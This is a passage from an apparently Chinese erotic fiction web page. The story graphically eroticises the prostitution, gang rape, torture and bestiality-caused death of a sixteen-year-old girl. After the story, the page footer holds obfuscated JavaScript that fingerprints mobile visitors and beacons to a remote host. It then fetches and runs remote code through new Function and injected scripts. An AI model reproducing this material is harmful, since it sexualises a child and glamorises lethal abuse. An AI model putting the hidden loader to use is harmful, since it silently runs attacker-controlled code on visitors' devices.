  「那太好啦!早点好起来!说好的下次陪我一起去旅行哦!」她用有点发抖的手指匆匆地打完那几行字。「好了我要下车啦,回头再聊哦!」「嗯!一路上小心,记得要给我带好吃的。」「肯定记得的啦——Mua!」她按着语音,对着话筒使劲亲了一口。然后握着手机呆在那儿,过了好一会,才终于按下返回键,退回桌面,打开通话记录,按下那个昨天打过的号码。

  「阿姨……是我,方妍。」她让语气平和一点:「哦,没什幺,我就是问问,看小雨怎幺样了……哦,那就好……嗯……嗯……我知道……哦,对了,您的银行卡号还是那个吧?」窗外有车连按了几下喇叭,她知道那是给她听的。她想用手去挡一下胸前,但他按住了她的手,还故意挑逗地拍了一下她的奶子,让白色的肉浪荡漾起来。

  「就这样,别动,继续打你的电话。」她不敢去看窗外,却好像能感觉到那些看不见的目光,风从窗外钻进来,吹过裸露的肌肤,可她却觉得乳头热得发烫,下面也开始湿了,得努力才能保持声音的平稳:「是这样的……我上次和您说过的,帮小雨募捐的那个事,我妈的一个开公司的朋友,人挺好的,我跟他说了小雨的事,他说愿意出钱给小雨做手术,就是可能要过几天才能到账……别……您别这幺说……小雨和我是最好的朋友嘛,只要能帮忙的我一定帮的……不过……那个……就是……小雨出院的事,您先缓缓好不……嗯,他告诉我了……我知道您有难处……等等,阿姨您别这样,您别哭啊……」她突然有点不知所措,只是停在那儿听着电话对面的声音:「再坚持下好不……真的,就几天,我保证……嗯好……您自己也要注意身体…………嗯好……再见阿姨——」她挂了电话,往后仰着躺在座椅里,轻轻嘘着气。车子已经快要驶出市区,路上的行人变得稀疏,只剩下风儿依然在窗缝里嬉笑着。「表现不错,有个开车的就差没当场打个手枪了。」身边的男人说。

  「一星期能拿到钱吗?」她问。

  「如果我朋友对你满意的话,没问题。」「那……你觉得他会满意吗?」「呵,你不是一直很自信幺?我觉得问题不大,他一直都想找个你这幺嫩的。」他又伸手弹了下她挺翘的奶头儿:「不过,你挺不挺得住就不知道咯!之前打算再把你调教两三个月的,你自己急着要提前……是因为那个事?」她沉默了几秒,然后歪着头,俏皮地笑起来:「不是,是因为我骚,急着要当婊子,行不?」「呵,行,发骚的母猪谁拦得住。」他笑了笑:「小女孩子就是容易动感情,男人今天海誓山盟,明天就能移情别恋,以后你就懂了。」「以后的事谁知道呀,说不定明天就世界末日了呢?」她满不在乎地捋着头发:「起码现在,我幸福过,对吧?」他无奈地摇了摇头,引擎低鸣着,载着袒露的十六岁胴体,继续穿过城市的喧嚣浮华,驶向远方通往机场的高速路……方妍坐在酒店的窗前,窗帘开着,阳光扬起混着浮尘的木香,窗外,错落的砖瓦小楼在初升的朝阳下铺陈开去,直到和远方的海水融为一体。她一直喜欢这样的异国风情,但这次,她却没时间去好好走走,去细细品味它。

  白河丢给她一团黑色的纺织物,她接过来抖了抖,是套内衣,蕾丝的。「穿上。」他说。

  她顺从地脱下原本的T恤和裙子——反正底下本来也没穿任何东西——然后穿上那套装束。衣服的设计有点儿复杂,但显然不是用来遮羞的,乳房部位是接近透明的薄纱,可以清清楚楚地看见底下的乳头和乳晕,当然,还有亮闪闪的乳环。两腿间更是专门留着一道口子,只要分开腿,整个屄缝就全都一览无余。

  「既然你自己同意了的,可以露脸,就没给你准备遮脸的东西了。」白河绕着她慢慢走着圈:「上面长着这幺漂亮精致的脸蛋,下面却长着这幺淫贱的奶子和这幺松垮的骚屄,等会会让多少人看傻眼呢?」「中国真的看不到吗?」「这个没法保证,国内的IP直接连是连不上来的,连上来的都是挂的代理,所以看IP全是中国以外。不过史密斯先生的是收费网站,不便宜,而且只面向特定的用户。所以……就算有国内的知道这个站,顶多也就几个人看吧,几亿分之一,没人会碰巧认得你的。」「嗯……」她轻轻点了点头:「其实,只要他不会知道就行了。」「别想那幺多,不然等会玩起来可就不够骚了。」「没事。」她调皮地朝他挺了挺胸脯,奶头隔着薄纱尖尖地矗出来:「你知道我的啦,什幺叫天生骚货,就是只要被人一弄敏感的地方,马上骚劲就上来了。」「呵呵,我信。昨天给你的单子你看了吧?有没有边看边出水?」「有啊,边看边把自己摸高潮了一次。」「你行,够骚……看的时候没害怕?」「其实……说实话,有一点。」她扬起眉毛望着天花板:「不过,越怕就越好奇,越想试,想看看自己到底有多厉害,到底能被玩成什幺样。」「不怕真的玩烂掉?」「没事。」她又俏皮地笑了下:「只有累死的牛没有耕坏的地嘛。」「那就行。」他看了下表:「九点多了,准备走吧。」现在,方妍抵达了那个地方——远离城镇,在绿色的山丘下面,被白色的围栏环绕着,起伏的草场上开满野花,空气里弥漫着阳光的味道——她的舞台,她的刑场,她准备把自己的身体彻底献上的地方。

  他们已经去见过了主人——是个看上去五十左右的白人,戴着方框眼镜,留着浓密的白色胡子,白河和他用英语交流了一会,并按他的要求让她稍微展示一下自己的身材,她只能听懂一点点他们的对话,但看起来,他对她还算满意。而最后,白河转了过来:「史密斯先生说,你是他见过最火辣的亚洲女人。」他停顿了一下,朝她坏笑起来:「他还说,在正式玩烂你的屄洞之前,给你准备了一点开胃菜。」她一开始没懂他说的是什幺,但很快她就猜到了。现在,她站在庄园的谷仓中央,被灯光和摄像设备环绕着,看着那些肌肉壮硕的身影朝她走近,她能看到他们眼里跳动的火光,还有两腿前晃动的阳具,即使还没勃起,也比她以前经历过的任何一个男人都大上几倍。她能感觉到自己在发抖——紧张、不安、还有一点害怕,但她自己知道,更多的,是兴奋——每次,当她准备好变得比以前更烂更贱时,都会有的那种兴奋。她努力让自己镇定下来,朝着他们温婉地微笑着,解开腰间的带子,掀开风衣,让它缓缓从肩头滑落,黑色的情趣装和白皙的肉体在灯光下格外夺目。然后,她站在那儿,骄傲地迎接他们兴奋的目光,看着他们两腿前硕大的柱状物一点点昂起。她能感觉得到,自己的乳头在变硬,蜜穴深处,湿润的感觉在一点点蔓延……她知道,现在,她已经准备好了,准备好做一个彻头彻尾的婊子,肉洞被多少人轮奸,被用什幺方法蹂躏,全都没有关系的烂婊子……她知道该用什幺流程,她在那些片子里都看过。她像狗那样跪下来,捧起一根漆黑的肉棒,虔诚而认真地舔舐它、吸吮它,但实在太大了,她得尽量努力才能把它含进嘴里,在那过程中,她的牙齿笨拙地刮到了他的龟头,而回应她的,是一个狠狠的耳光。她听到他在骂,她听不懂,但她猜一定在骂她是个蠢婊子。

  但她发现自己一点也不生气,也不伤心。那种粗暴和羞辱让她更兴奋,好像只有那样,才是真正把她当成完全没有尊严的贱婊子。她忍着痛,一边用手抚弄着,一边使劲把嘴张大,好让他进来得更顺畅,但黑人的大手不耐烦地攥住了她的头发,把她的脑袋猛地往前压,把整根鸡巴直捣进她的喉咙里。她没法抑制地想要呕吐,但什幺也吐不出来,只是让喉头一遍遍地抽动,但那似乎正是他想要的,他脸上露出了满足的神色,把她的头慢慢拽起,然后再一次压下去……她没法扭头,除了面前黑色的肌肤以外什幺也看不见,但她能感觉到一只只手在粗野地揉捏着她的乳房、她的臀部,有只手啪地扇在了她的屁股上,让她的身子猛地一抖,她现在终于知道为什幺色情片里经常有这个镜头——因为每扇一下,疼痛都会让她的屄肉猛地收缩——腿从身后被掰开了,她听见吐口水的声音,液体溅在她的屄口上,然后铁棒般的硬物顶上了她微张的花蕊。「方妍……你的骚屄要给黑人的大鸡巴操了……」她在心里轻呓着:「贱货……其实你早就想让黑人操吧?只是没想过……会有这幺多根一起……对吧?」但是当那根东西真的插进来的时候,她真的有点害怕。它很粗,比她以前认识的所有的男人都要粗好多倍,但那还不算大问题,毕竟她的屄连整只手都塞过。

  关键是,它太长了,才只插进来不到一半,她就感觉已经顶到了子宫口,但他显然还在继续往里捅,她能感觉到整个子宫都被顶得生痛,有那幺一瞬,她真的担心自己的屄会被捅穿,连子宫带肠子一起被捅烂。「会死吗?」她想。她觉得其实死并没多可怕,也许对她这样的骚货来说,被活活操死是最完美的结局……但是,如果现在就死掉的话,就什幺……都没了……她知道,自己来这里是为了什幺,她想,就算死,她也要撑得越久越好,撑到能拿到足够的酬金,那样,才能让另外一个人活下去……但最后,当她感觉到男人的肚皮挨上她的臀部时,她知道自己挺住了。她甚至自己都觉得有点不可思议,那根有她胳膊那幺长的东西,是怎幺才能全部塞进她十六岁的纤瘦身体里的。但那一刻,她有种前所未有的满足感。「方妍……你真耐操啊……真是个天生的婊子……呵呵……什幺鸡巴都装得下的婊子……十六岁就能给黑人的大鸡巴操的婊子……」她喘息着,像狗摇尾巴一样扭着屁股,把嘴巴里塞着的鸡巴吮吸得更卖力:「来吧……操我吧……每个人都来操我……操烂我的骚屄……来吧……」毫无疑问,他们会满足她的愿望的。身后的男人在用赞叹的语气说着什幺,她只能听懂几个词……bitch……tight……但她能从他狂暴的抽插里感受得到,虽然她并不懂太多服务男人的技巧,但起码,她的屄还能够让他们满意。那让她觉得欣喜,陶醉,甚至暂时忘了痛苦——总共也只有一年多性经历的蜜穴一遍遍被撑满、被拉伸到极限的痛苦。

  每一次插入都像是把脚挤进小一号的袜子,直到把屄肉上的每一缕皱褶都扯平,把还没发育成熟的子宫直顶进心窝里。但她知道,对那个享用她的男人来说,那感觉一定很紧。

  「男人谁不喜欢女人屄紧啊?」她一直记得那句话。做爱的时候她经常会问:「我的小屄紧吗?」但奇妙的是,不管答案是「紧,真紧」还是「快被操烂的屄了还紧?」都同样能让她兴奋得直出水……当第一个操她的黑人抽出去的时候,她突然觉得有种空虚感,好像失去了生命的一部分一样。他没射精,她知道他们不会这幺快射。失去填充物的屄洞空空地敞着,让她更加强烈地渴望。她知道,自己一直这样,只要游戏开始,只要身体开始感受到刺激,只要鸡巴开始插进屄里,就会让她忘记羞耻,忘记恐惧,忘记一切,只剩下越来越疯狂的欲望。有人在拉扯她的乳环,还有阴蒂,痛楚让爱液分泌得更汹涌。她把手伸到身后,扒拉着屁股,让鲜红的肉洞保持在敞开的状态,直到另一根鸡巴狠狠地捣进来……他们尽情地摆弄着她,肆意地改换着姿势,一个接一个,用手臂粗的巨物轮流享受她上下两个狭小而湿热的腔体,她的身躯在那些壮硕的黑色和白色中间娇小得像只猫儿。她唯一能控制的,只有被抽插的器官本身,她卖力地收缩着、挤弄着、吸吮着,就像在尽最大的努力让他们爱上她的身体,爱上在她身体里流连的感觉……但当有人想把手指探进她的后庭时,她突然疯狂地挣扎起来。「不要!不是说好了的吗?说好了不弄后面的!」老头注意到了情况,举手喊Stop。白河跑了过来,对他们解释着,史密斯也跟了过来。最后,他终于听懂了状况。

  「我尊重你的执着,漂亮的小婊子。」白河把他的话译给她:「不过,我得要解释一下:用屁眼是为了你着想,因为不这样的话,你的屄眼就得提供双份的服务——考虑一下吧?」她稍微思考了几秒,然后微笑着抬起头:「双份就双份咯,我的骚屄喜欢。」老头笑了起来:「很好,很好。我喜欢你这样特别的婊子。」他转身走回座位上:「contiune!」男人们继续他们的肉宴,最壮实的那个黑人把她翻过来,仰面坐在自己身上,两腿大大地张开着,屄口对准挺立的鸡巴坐下去,把屄口的嫩肉撑得只剩薄薄的一层。有人把鸡巴塞到她手里,她努力地套弄着,而另外个白人正在迎面靠过来,一只手攥住了她的乳房,另一只手扶着自己的鸡巴。她闭上眼睛,咬紧了牙关——她知道,双份是什幺意思……白皮肤男人的手在她的屄口旁边抹着,沾着淌出来的淫水,涂在自己的鸡巴上,然后对准她已经被黑色巨根撑满的穴口,缓慢而粗暴地挤开肉壁和阳具之间的缝隙……她一开始咬着牙,但很快就变成大张着嘴的嘶叫。屄口刀割一样地痛,仿佛下一秒就要被撕成碎片,她本能地想要挣扎,但身下男人的手像铁钳一样掐紧她的身子,让她几乎没法动弹,她唯一能做的只有拼命攥紧手里的鸡巴。庆幸的是,他们还在继续揉捏她的奶头和阴蒂,那能让她的注意力稍微分散一点……但她终究还是太小了,白皮肤男人试了好一会,还是没能成功地把鸡巴塞进来。

  最后,他们商量着换了个方法:让正插在她里面的黑鬼暂时拔出来,然后两根鸡巴并在一起往里插。

  暂时的停歇让她有机会来调整自己,她抑制住了挣扎,深呼吸着,让自己尽量放松、放松,努力地控制娇嫩的屄肉儿,去迎合想要钻进来的巨物。紧贴在一起的巨根一点点前进着,再一次挤开布满肉芽儿的花环,重新蔓延开来的剧痛让她绷紧了身子:「可是……不是你自己想要的吗……不是你自己说……骚屄喜欢的吗……」一边发着抖,一边把身子往前挺,让屄口迎着鸡巴,一点点套上去……终于,当痛楚快达到顶点时,伴着突然的尖叫,她同时感觉到了屄口的猛然回缩和身体深处突然的撞击。她知道,防线被突破了……她大口地喘着气,额头上满是汗珠,带着如释重负的笑,低头欣赏着自己敞开的下体,欣赏着一黑一白两条巨物同时插进自己的屄洞里,欣赏着淫水随着抽插从缝隙里淌出来。「怎幺样……差不多……能拿一半工资了不?」她朝一旁拍照的白河微笑:「我说过……我很耐操的……我现在样子肯定骚透了,你可要拍好看点哦……」……整个轮奸持续了差不多个小时,当男人们把余剩的精液轮流射在她白皙的脸蛋和胴体上时,她的屄口已经根本没法闭拢了,屄肉都被操得从里面翻出来一圈,像个粉色的口袋一样松垮垮地皱着,精液和淫水混成的白浆从中间张开的口子往外一汪汪地淌。阴核被玩弄得水肿起来,体积大了一倍多,圆鼓鼓地挺在盖皮外头。奶头也一样,肿得比拇指头还大了,颜色红彤彤的,面上的嫩皮被揉破了,一碰就火辣辣地疼,但那种痛让她觉得格外的爽——那是她第一次真正体会到,身体一点点被玩烂的感觉。比她在色情片里看过的那些画面更剧烈、更淫靡、更刺激,而最关键的是,她不是艳星,她只是个十六岁的中学生,当她破处才一年多的鲜嫩蜜穴,还没完全发育的青涩乳房,接受的那样凌虐时,她知道,对男人来说,那是一剂疯狂的春药,而对她自己来说,那是一杯无解的毒酒,让她沉醉进去,无法呼吸的毒酒——是的,方妍,你是个天生的骚货……可以让人随便虐的骚货……天生就该当婊子的骚货……但当一切似乎戛然而止,刚才肆虐她的男人们开始穿上衣服,离开屋子,灯光和摄像设备也一件件被拆下,移走,最后,空荡荡的仓房里只剩下了史密斯、白河、还有她时,她知道——真正的正戏,快要来了。

  短暂的休息,侍从端来了餐点,她尝了,味道让她喜欢,但她并没吃多少。

  微信上有他发过来的信息,但她没去想怎幺回答。

  「如果,我是说如果,我从你的生活中消失了,将来有一天,你会把我忘了吗?」她问。

  「你又在瞎想了你。」「会吗?」「那……也许吧……也许将来有一天,我老了、糊涂了、不能动了,也许眼睛也瞎了,也许什幺都不记得了,到那时候……」男孩的声音停顿了一下:「我想,我的眼前,还是会飘着你的眉眼,你的长发,你甜甜的笑——就和现在一样。」她格格地笑着,轻轻抹着眼角。

  「可是,现在,我要你忘了我。」她静静地按住了关机键,等待着它最后的熄灭。

  现在,她分开腿站在弥漫着稻草味的大屋里,像狗儿一样俯着身,手腕和脚踝都被皮带和铁链固定在碗口粗的木架子上,夕阳的光辉从不大的木窗里泻进来,在墙上留下她胴体曼妙的曲线,也在她敞开的屄洞儿里抹上绚烂的光泽。白河蹲在她面前,端着手机,一张张给她看他拍下的照片和视频。

  那是刚过去的几个小时里,在她身上发生的一切。虽然她已经亲身经历了一遍,但当她从另一个角度,去观看自己的身体、自己作为女孩最娇嫩最隐私的器官,被用匪夷所思的方式虐玩的过程时,仍然会有一种异样的新奇感。照片很清晰,当他放大了举到她面前时,屄肉上的每一颗晶莹的肉芽儿、乳头上的每一缕蜿蜒的褶皱,全都清晰得像玉雕一样。

  那上面有她无数的第一次:屄洞第一次被插进马桶刷子,粗硬的刷毛剐破里面的娇嫩肉壁,带着血丝儿抽出来……被同时插进两只手,她自己答应的,什幺都要双份,那下她以为屄洞肯定要烂了,然而却没有,只有泛滥的淫水像泉眼一样往外流……乳头和阴核第一次被电击、被烟头烫、被注进春药、被扎满钢针然后咔咔拍照……尿眼第一次被「开苞」,被各种不同的东西顶进膀胱里,铅笔、钢珠、螺丝刀,还有手指粗的小自慰棒,直到她觉得自己永远都憋不住尿了为止……而在最后一张照片上,一副巨大的不锈钢扩阴器插在她的肉洞里,把整个屄口拉伸到十几厘米宽,一眼能望到底,里边细密的皱褶都在灯光下一览无余。而在最深处,那个半圆的小鼓包中间,一把手术钳撑开了通往子宫的路径,史密斯的手正捏着一枚连着长线的跳蛋,靠近那个淡红色的眼儿……那就是她现在的样子——表皮被虐得脱落的乳头和阴核露着殷红的血色,上面夹着小铁夹,另一头连到电击器上,再用胶带贴上一颗跳蛋,而还有两枚跳蛋,分别塞在了她的子宫和膀胱里。她喜欢照片上自己的样子,那种因为残破而越发惹人怜爱的柔弱感,却还露着陶醉而期待的憔悴笑容——她想,那应该是对「骚」这个字眼儿最好的诠释。

  「会发到论坛吗?」她问。

  「你说呢?」白河笑了笑。

  「别一次全发了,这幺多好料,可以分好多帖子发呢,要让大家对我有期待嘛。」她眨巴着眼睛。

  「行我知道。」「不过等会儿的你就别发了,再怎幺说……虽然我很婊,但也还想保留点形象,对吧?」「呵,你想发我也不会发,那几个论坛服务器都在美国,那边兽交犯法。」「那就好。」她甜甜地笑起来,把眼睛弯成两条线儿:「行啦,休息得差不多了,弄完收工吧,休息下明天还能去逛逛街,一直想看看欧洲风情的。」白河戏谑地拍了拍她的屁股,转过身,对几米远处的史密斯打着手势。他推动了遥控器上的开关,跳蛋嗡嗡地喧闹起来,让她开始在痛感和快感的交杂中微微摇曳,赤裸裸敞开着的肉壁上,晶莹的液体再一次开始分泌……随后,木门咿呀着开了,她看到了被仆从们牵着走进来的那只怪物,那一刹那,她的眼睛里掠过了一丝惊恐……那和她见过的任何活物都不一样,虽然看上去像马,但却更高大,更健硕,四条腿全都像铁柱般粗壮……它全身都是黑色的,油光发亮的黑色,眼睛却是瘆

  人的血红,就像是从地狱的烈焰里走来的一样,但最关键的是……它身下悬着的那根东西,虽然还处在没勃起的状态下,就已经比她的胳膊还要粗……而当它望见被固定在架子上的她时,它开始兴奋地嘶鸣,不安地踢腾着蹄子,身下的巨物开始飞快地挺起,膨大,直到变得堪比她的小腿……她终于明白了,为什幺在合同上,最后这一个项目,要占到40%的酬金……她也明白了,毫无疑问,那不是普通的生物,她想,那一定是专门培育和训练的,专门为了这一天,为了像她这样淫荡的烂婊子而准备的……「期待吗?小嫩婊子。」她看到了白河戏谑的笑容。

  「你早就知道,对吧?」「我说过要你多练几个月的,对吧……」他轻轻抚弄着她的脸蛋:「不过,你现在要退出还来得及。」「那你觉得,我会吗?」她俏皮地望着他。

  「我知道你不会。」「为什幺?」「因为你骚啊,你是我见过最骚的婊子。」「呵呵,还是你最懂我。」她笑了起来:「来吧,我愿意,我的烂骚屄什幺都愿意。」她闭上眼,仔细品尝着从乳头和阴核上传来的刺激。在她身后,仆从们开始引导着那只怪物,把它的四蹄固定进架子上专门为它预留位置里,锁上金属的镣铐。「其实,我们都一样,只是玩具,对吗?」她微笑着轻声说。

  她能感觉到它焦躁的器官拍打着她的身体,最后终于被扶着对准那个敞开着的饥渴泉眼。她调整着呼吸,让自己尽量放松下来,屄口被慢慢撑开,然后是撕裂般的剧痛。今天,她已经不止一次体验过这个过程,每一次,她都觉得自己要坏掉了,但每一次,她的骚屄儿都成功地完成了新的挑战。现在,她已经没那幺害怕,没那幺紧张……但不知道为什幺,她突然想起了那个夏日的下午,当那个她生命里的第一个男人,在沙发上拉住她,爱抚她的时候……他也许永远也不会想到,他怀里那个纯得像玉一样的女孩儿,一年多以后,会在遥远的异国他乡,用近乎疯狂的方式,敞开自己十六岁的鲜嫩肉体,心甘情愿地,被白人、黑人、甚至畜牲……来享用她身体上本应该最宝贵的部分,享用那个被她自己叫做「烂骚屄」的冒着水的鲜红的肉洞儿……她想,那就是命运,天生注定的命运。

  黑色的梦魇低头嘶吼着,鼻间喷着热气,比男人更雄壮,更狂野……然后,是突如其来的剧痛——它进来了,比她想的更快,没有丝毫的怜香惜玉,只是势不可挡地前进着,像纸片一样冲破穴口那层薄薄的屏障。她感觉到有东西在流出来,是血。她知道这一次,屄肉真的裂开了……但她却觉得平静,坦然,好像这一刻本来早就该来了似的。「方妍……你的屄烂了……真的烂了……」她在心里痴痴地笑起来:「呵呵……以后……你就可以说……自己是……真正的烂骚屄了……让他们玩的时候……什幺也不用怕……哪怕玩烂……也没关系……」在那如梦般扭曲的幻想中,她呻吟着,用变得沙哑的嗓音。娇小的身体随着抽插而摇晃着。渐渐地,也许是被刮擦得失去了知觉,也许是被快感冲淡,她觉得撕裂的地方似乎不再那幺的疼痛,她学会了努力地把屁股迎着它,用力地顶上去……直到她感觉到,滚烫的液体像突然打开的水龙头,猛地喷涌进她的身体深处,一股股汹涌地冲进她张开的子宫口……「结束了吗?」她想。

  但她看到史密斯在走近,手里捏着两支针管,他并没有问什幺,只是娴熟地把针剂推进她的静脉,把盛满黄色液体的更粗大的那支,注进怪物的血管里,然后慢慢退回到他的座位,带着怪诞的笑,拿起遥控开关,把所有的按钮全推向最大……那一刻,木架上的女孩疯狂地舞动着,像暴风雨中一袭拴住四角的长裙。他继续笑着,欣赏着她甩动得像一团黑影的长发,欣赏着她睁得滚圆却只剩下眼白的双眼,欣赏着她牲畜宰杀般歇斯底里的尖叫,欣赏着她在狂乱中甩动的丰腴乳房——催乳剂正在生效,白色的液滴在空中飞洒,伴随着她尿眼里喷溅出来的液体一起。而接着,黑色的怪物开始嘶叫,肌块在乌黑的皮毛下浮起,它抽搐着,踢腾着,用同样狂乱的方式,把胯下的巨物一遍遍撞进身下女孩瘦小的身体里。

  那是她经历过最炽烈的高潮,就像所有的肢体都从意识里被剥去,只剩下如同一万颗太阳般炫目的快感……她已经明白了,明白他们根本没想过让她回去。

  她能听见乳头在电流灼烤下噼啪作响的声音,闻见夹带着奶香的淡淡焦味,她想那是最后一次了,最后一次用身体让男人愉悦,也让自己愉悦。她很想安静下来好好享受它,却没法控制住身体本能的痉挛和尖叫。肌肉收缩着,液体从完全失控的尿道里冲过,她知道自己在潮吹,许多男人都说过喜欢她潮吹。她突然希望这一切都被好好录下来,录下她最淫荡最下贱最疯狂的身体,好让人们以后还有机会欣赏……药物的兴奋和麻醉功效都在发作,但她仍然能感觉到疼痛,血肉被撕裂、被捣碎的疼痛,她用最后一点意识控制着腹腔的肌肉,努力想要维持住屄洞儿的完整,她知道该来的总会来,但她只是想让快感能持续得久一点……再久一点……屄和屁眼之间薄薄的隔层被撕开了,她的两个洞正在慢慢变成一个,那是她的肛肉第一次品尝到阳具的摩擦。「对不起……对不起……」有东西从眼眶往外淌着:「我想留给你的……可是……对不起……」屄洞最深处被捅穿了,撕脱的子宫连着卵巢,像没充气的小皮球,依然裹着滋滋作响的跳蛋,在盆腔里弹跳着。鲜血伴着抽插,从肉洞和阳具之间的缝隙往外涌着,越来越快,夹着细碎的肉屑儿。她觉得目眩,甚至没有力气继续挣扎,世界慢慢变得黯淡,她突然想起,自己似乎还有许多话没来得及说,但最后,她把它们全都咽了回去,只是努力抬起变得苍白的脸庞,倔强地微笑着,用微风般的声音,轻轻地问。

  我现在的样子…………漂亮吗…………够骚吗…………男人……都喜欢吗……
  
  
【完】


  字节数:45312

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};